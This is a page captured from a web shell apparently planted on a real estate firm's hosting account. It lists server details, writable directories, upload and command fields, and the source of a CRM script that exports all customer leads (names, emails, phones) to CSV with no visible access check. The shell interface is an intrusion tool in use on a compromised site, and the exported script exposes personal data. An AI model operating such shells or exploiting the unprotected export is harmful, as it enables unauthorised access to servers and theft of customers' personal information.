403Webshell
Server IP : 72.60.21.38  /  Your IP : 216.73.216.25
Web Server : LiteSpeed
System : Linux uk-fast-web1372.main-hosting.eu 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User : u390967363 ( 390967363)
PHP Version : 8.2.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u390967363/domains/aibenproperties.com/public_html/crm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u390967363/domains/aibenproperties.com/public_html/crm/download-leads.php
<?php
require 'config.php';

$result = $conn->query("SELECT * FROM crm_entries ORDER BY submitted_at DESC");

if ($result->num_rows > 0) {
    header('Content-Type: text/csv; charset=utf-8');
    header('Content-Disposition: attachment; filename=leads.csv');

    $output = fopen('php://output', 'w');

    fputcsv($output, [
        'Name', 'Email', 'Phone', 'Location', 'Purpose', 'Status',
        'Follow-Up Needed', 'Follow-Up Date', 'Assigned Staff',
        'Origin of Lead', 'Caller Response', 'Additional Info', 'Date Submitted'
    ]);

    while ($row = $result->fetch_assoc()) {
        fputcsv($output, [
            $row['caller_name'],
            $row['caller_email'],
            $row['caller_phone'],
            $row['caller_location'],
            $row['call_purpose'],
            $row['lead_status'],
            $row['follow_up_needed'],
            $row['follow_up_date'],
            $row['assigned_staff'],
            $row['source'],
            $row['caller_response'],
            $row['additional_info'],
            $row['submitted_at']
        ]);
    }

    fclose($output);
    exit();
} else {
    echo "No leads found.";
}

Youez - 2016 - github.com/yon3zu
LinuXploit